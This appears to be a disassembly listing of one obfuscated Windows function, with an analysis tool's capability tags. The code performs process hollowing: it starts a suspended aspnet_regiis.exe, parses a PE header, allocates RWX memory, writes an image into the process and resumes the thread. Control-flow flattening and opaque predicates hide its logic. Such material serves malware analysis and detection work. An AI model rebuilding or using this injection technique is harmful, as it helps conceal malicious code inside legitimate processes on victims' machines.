Function at 0x100030d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10c
mov eax, dword [0x10068600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x114], 0xc2f1bf55
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x118], eax
sub eax, 0x8047748c
je 0x10007551
jmp 0x1000310c
mov eax, dword [ebp - 0x118]
sub eax, 0x82185c58
je 0x1000b216
jmp 0x10003122
mov eax, dword [ebp - 0x118]
sub eax, 0x828ba4ec
je 0x1000998b
jmp 0x10003138
mov eax, dword [ebp - 0x118]
sub eax, 0x829522ce
je 0x1000b74e
jmp 0x1000314e
mov eax, dword [ebp - 0x118]
sub eax, 0x83094c97
je 0x1000a47c
jmp 0x10003164
mov eax, dword [ebp - 0x118]
sub eax, 0x831fa567
je 0x10006dd1
jmp 0x1000317a
mov eax, dword [ebp - 0x118]
sub eax, 0x83ec86b9
je 0x10008d48
jmp 0x10003190
mov eax, dword [ebp - 0x118]
sub eax, 0x842bccd7
je 0x10007f90
jmp 0x100031a6
mov eax, dword [ebp - 0x118]
sub eax, 0x85a06923
je 0x10007c63
jmp 0x100031bc
mov eax, dword [ebp - 0x118]
sub eax, 0x85dae499
je 0x10009ce5
jmp 0x100031d2
mov eax, dword [ebp - 0x118]
sub eax, 0x86c3f5ed
je 0x10006d01
jmp 0x100031e8
mov eax, dword [ebp - 0x118]
sub eax, 0x8936fef3
je 0x1000a2ba
jmp 0x100031fe
mov eax, dword [ebp - 0x118]
sub eax, 0x89792723
je 0x10008ca3
jmp 0x10003214
mov eax, dword [ebp - 0x118]
sub eax, 0x89e2c577
je 0x100097d8
jmp 0x1000322a
mov eax, dword [ebp - 0x118]
sub eax, 0x8bd9f04e
je 0x10008667
jmp 0x10003240
mov eax, dword [ebp - 0x118]
sub eax, 0x8c174f9a
je 0x100091f1
jmp 0x10003256
mov eax, dword [ebp - 0x118]
sub eax, 0x8c354fec
je 0x10006eaf
jmp 0x1000326c
mov eax, dword [ebp - 0x118]
sub eax, 0x8c41a334
je 0x1000a1bd
jmp 0x10003282
mov eax, dword [ebp - 0x118]
sub eax, 0x8c68b4aa
je 0x100096df
jmp 0x10003298
mov eax, dword [ebp - 0x118]
sub eax, 0x8c6aabe7
je 0x100089af
jmp 0x100032ae
mov eax, dword [ebp - 0x118]
sub eax, 0x8d12aa89
je 0x1000ae83
jmp 0x100032c4
mov eax, dword [ebp - 0x118]
sub eax, 0x8db6321f
je 0x1000aa2e
jmp 0x100032da
mov eax, dword [ebp - 0x118]
sub eax, 0x8ee6bd3b
je 0x100076b4
jmp 0x100032f0
mov eax, dword [ebp - 0x118]
sub eax, 0x914ec0a3
je 0x1000a180
jmp 0x10003306
mov eax, dword [ebp - 0x118]
sub eax, 0x917b6819
je 0x1000b435
jmp 0x1000331c
mov eax, dword [ebp - 0x118]
sub eax, 0x9191fdc9
je 0x1000b75d
jmp 0x10003332
mov eax, dword [ebp - 0x118]
sub eax, 0x9226be9f
je 0x1000b468
jmp 0x10003348
mov eax, dword [ebp - 0x118]
sub eax, 0x922c444d
je 0x1000a7f5
jmp 0x1000335e
mov eax, dword [ebp - 0x118]
sub eax, 0x933f0beb
je 0x10007e0f
jmp 0x10003374
mov eax, dword [ebp - 0x118]
sub eax, 0x9346c7ec
je 0x10007dad
jmp 0x1000338a
mov eax, dword [ebp - 0x118]
sub eax, 0x9360a2ce
je 0x10005a72
jmp 0x100033a0
mov eax, dword [ebp - 0x118]
sub eax, 0x9505dc19
je 0x100073a3
jmp 0x100033b6
mov eax, dword [ebp - 0x118]
sub eax, 0x958ffcb8
je 0x1000718f
jmp 0x100033cc
mov eax, dword [ebp - 0x118]
sub eax, 0x96b65eee
je 0x1000a41b
jmp 0x100033e2
mov eax, dword [ebp - 0x118]
sub eax, 0x97803944
je 0x10007aae
jmp 0x100033f8
mov eax, dword [ebp - 0x118]
sub eax, 0x97a987ef
je 0x10009fe3
jmp 0x1000340e
mov eax, dword [ebp - 0x118]
sub eax, 0x98b0cad4
je 0x100080d3
jmp 0x10003424
mov eax, dword [ebp - 0x118]
sub eax, 0x98dd8499
je 0x10006421
jmp 0x1000343a
mov eax, dword [ebp - 0x118]
sub eax, 0x995f5afa
je 0x10009329
jmp 0x10003450
mov eax, dword [ebp - 0x118]
sub eax, 0x99e1ab8b
je 0x1000b1d7
jmp 0x10003466
mov eax, dword [ebp - 0x118]
sub eax, 0x9a7aa9d0
je 0x10008b42
jmp 0x1000347c
mov eax, dword [ebp - 0x118]
sub eax, 0x9aaffd3e
je 0x10006d3e
jmp 0x10003492
mov eax, dword [ebp - 0x118]
sub eax, 0x9b2486f8
je 0x1000914f
jmp 0x100034a8
mov eax, dword [ebp - 0x118]
sub eax, 0x9bb759fd
je 0x100096be
jmp 0x100034be
mov eax, dword [ebp - 0x118]
sub eax, 0x9c1bb225
je 0x1000b276
jmp 0x100034d4
mov eax, dword [ebp - 0x118]
sub eax, 0x9c69cb5e
je 0x1000b633
jmp 0x100034ea
mov eax, dword [ebp - 0x118]
sub eax, 0x9cb67a97
je 0x1000b549
jmp 0x10003500
mov eax, dword [ebp - 0x118]
sub eax, 0x9d6d7a94
je 0x10009437
jmp 0x10003516
mov eax, dword [ebp - 0x118]
sub eax, 0x9ebef0e4
je 0x10009cbd
jmp 0x1000352c
mov eax, dword [ebp - 0x118]
sub eax, 0x9ed91c51
je 0x1000928b
jmp 0x10003542
mov eax, dword [ebp - 0x118]
sub eax, 0x9ef6d072
je 0x100061c1
jmp 0x10003558
mov eax, dword [ebp - 0x118]
sub eax, 0x9f3ab24c
je 0x100059aa
jmp 0x1000356e
mov eax, dword [ebp - 0x118]
sub eax, 0xa0518e8d
je 0x1000652e
jmp 0x10003584
mov eax, dword [ebp - 0x118]
sub eax, 0xa18ed5d8
je 0x10006511
jmp 0x1000359a
mov eax, dword [ebp - 0x118]
sub eax, 0xa19ca5ab
je 0x100082fa
jmp 0x100035b0
mov eax, dword [ebp - 0x118]
sub eax, 0xa2e7d459
je 0x1000a0f1
jmp 0x100035c6
mov eax, dword [ebp - 0x118]
sub eax, 0xa4f9a469
je 0x10009ae2
jmp 0x100035dc
mov eax, dword [ebp - 0x118]
sub eax, 0xa5b0080d
je 0x1000a124
jmp 0x100035f2
mov eax, dword [ebp - 0x118]
sub eax, 0xa5d6eb0e
je 0x1000ae52
jmp 0x10003608
mov eax, dword [ebp - 0x118]
sub eax, 0xa603cefb
je 0x10009942
jmp 0x1000361e
mov eax, dword [ebp - 0x118]
sub eax, 0xa6f8db62
je 0x1000afb8
jmp 0x10003634
mov eax, dword [ebp - 0x118]
sub eax, 0xa71ce0bd
je 0x1000a337
jmp 0x1000364a
mov eax, dword [ebp - 0x118]
sub eax, 0xa8326989
je 0x100063b3
jmp 0x10003660
mov eax, dword [ebp - 0x118]
sub eax, 0xa8697ca5
je 0x10007e51
jmp 0x10003676
mov eax, dword [ebp - 0x118]
sub eax, 0xabfa25fc
je 0x1000b062
mov dword [ebp - 0x114], 0x1c6a905
jmp 0x1000b767
mov dl, 1
mov eax, 0xb4f75d41
mov ecx, 0x7a4fbed4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0x5ea21c10
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb26e2d21
mov ecx, 0x98dd8499
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
add edx, 0xcb1d171d
sub edx, 1
sub edx, 0xcb1d171d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb26e2d21
mov ecx, 0xcb906bc8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dl, 1
mov eax, 0x48728bc0
mov ecx, 0xa0518e8d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
sub edx, 0xd6392c4a
sub edx, 1
add edx, 0xd6392c4a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa6f8db62
mov ecx, 0x581eeec8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0x4c6594e3
jmp 0x1000b767
mov dl, 1
mov eax, 0x66895459
mov ecx, 0x2059e340
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
movss xmm0, dword [0x10018200]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
add edx, 0x2e97fa07
sub edx, 1
sub edx, 0x2e97fa07
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3b605dd1
mov ecx, 0xe656c904
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6df57854
mov ecx, 0x6b2c8d4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181f4]
movss dword [eax], xmm0
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
mov edx, eax
add edx, 0xbd2f9237
sub edx, 1
sub edx, 0xbd2f9237
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf80ba76f
mov ecx, 0x476ec08e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x1001830c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xef31a8cf
jmp 0x1000b767
mov dl, 1
mov eax, 0x50d6d24d
mov ecx, 0xef51e8c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dl, 1
mov eax, 0x52012356
mov ecx, 0xf11a2692
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dl, 1
mov eax, 0x40e0a72d
mov ecx, 0xde35bd90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
mov edx, eax
sub edx, 0xcd3ec831
sub edx, 1
add edx, 0xcd3ec831
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d2d5175
mov ecx, 0x66bee6fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182cc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xf8f04c9c
jmp 0x1000b767
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xe8814abb
jmp 0x1000b767
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182b8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x7627efbd
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
add edx, 0xa530b6fe
sub edx, 1
sub edx, 0xa530b6fe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb82107f6
mov ecx, 0xbf16375c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100182a8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xbb14b01
jmp 0x1000b767
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1001829c]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xb6e4a968
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
sub edx, 0x5099eef7
sub edx, 1
add edx, 0x5099eef7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb8e42a3d
mov ecx, 0xdb5a3389
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0x8f368f8
jmp 0x1000b767
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10018270]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xbcca165f
jmp 0x1000b767
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018264]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x26a7d4d7
mov ecx, 0xb460365
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea55a39d
mov ecx, 0x3206836c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0xb5efbd96
jmp 0x1000b767
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
sub edx, 0x7c06914b
sub edx, 1
add edx, 0x7c06914b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x917b6819
mov ecx, 0x9ed91c51
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0xc63c0e0b
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9226be9f
mov ecx, 0x69d2f90a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0x90]
movzx edx, word [eax]
mov eax, 0x6cc86a1
mov ecx, 0xd84b7ace
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dl, byte [ebp - 0x89]
mov eax, 0x8c68b4aa
mov ecx, 0xb7da48ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9cb67a97
mov ecx, 0x72b6d6bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov ecx, dword [0x10069928]
mov eax, dword [0x10069924]
mov edx, ecx
sub edx, 0xb61e86d9
sub edx, 1
add edx, 0xb61e86d9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd7194a61
mov ecx, 0x7b49cc9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x784e144c
mov ecx, 0x828ba4ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0x88]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
mov edx, eax
sub edx, 0x7bd17890
sub edx, 1
add edx, 0x7bd17890
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x784e144c
mov ecx, 0x7006309
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0x506dd214
jmp 0x1000b767
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x114], 0x85dae499
jmp 0x1000b767
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x3227b237
jmp 0x1000b767
mov eax, dword [ebp - 0x50]
mov esi, dword [eax]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x54]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xb4]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10002ec0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc4]
mov esi, dword [eax]
mov eax, dword [ebp - 0xb4]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0xef91f95f
mov ecx, 0x68fb491a
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x14
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x114], 0xa5b0080d
jmp 0x1000b767
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add ecx, eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xb4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x8c7cf906
sub eax, edx
sub eax, 0x8c7cf906
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xef91f95f
jmp 0x1000b767
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xb90518a0
jmp 0x1000b767
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x114], 0xcdb09d9d
jmp 0x1000b767
mov eax, dword [ebp - 0x34]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x2d], al
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
mov edx, eax
sub edx, 0xae003703
sub edx, 1
add edx, 0xae003703
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf638e4ed
mov ecx, 0x5329051f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
add ecx, 0xff8a6212
sub ecx, 8
sub ecx, 0xff8a6212
shr ecx, 1
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
add eax, 0x3ed0737f
sub eax, ecx
sub eax, 0x3ed0737f
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x114], 0x74df7c18
jmp 0x1000b767
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xa8]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x27], al
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c69cb5e
mov ecx, 0x83094c97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov dword [ebp - 0x114], 0x7aed6640
jmp 0x1000b767
mov dword [ebp - 0x114], 0x23da75a3
jmp 0x1000b767
mov eax, dword [0x10069928]
mov ecx, dword [0x10069924]
mov edx, eax
add edx, 0x6c7ca67c
sub edx, 1
sub edx, 0x6c7ca67c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3c5f83
mov ecx, 0xecbbfd7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x1000b767
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000bf60
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x10018240]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x114], 0x6d90606
jmp 0x1000b767
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x114], 0x581eeec8
jmp 0x1000b767
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181d8]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xc88df4e5
jmp 0x1000b767
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x4804bb5b
jmp 0x1000b767
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181cc]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0xf6b88c8f
jmp 0x1000b767
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov dword [ebp - 0x114], 0x8c174f9a
jmp 0x1000b767
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49600
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0xf0]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x114], 0x69d2f90a
jmp 0x1000b767
mov eax, dword [ebp - 0xd4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x72b6d6bb
jmp 0x1000b767
mov eax, dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x114], 0x96b65eee
jmp 0x1000b767
mov dword [ebp - 0x114], 0x3d850f28
jmp 0x1000b767
mov dword [ebp - 0x114], 0x441ffdb7
jmp 0x100030f0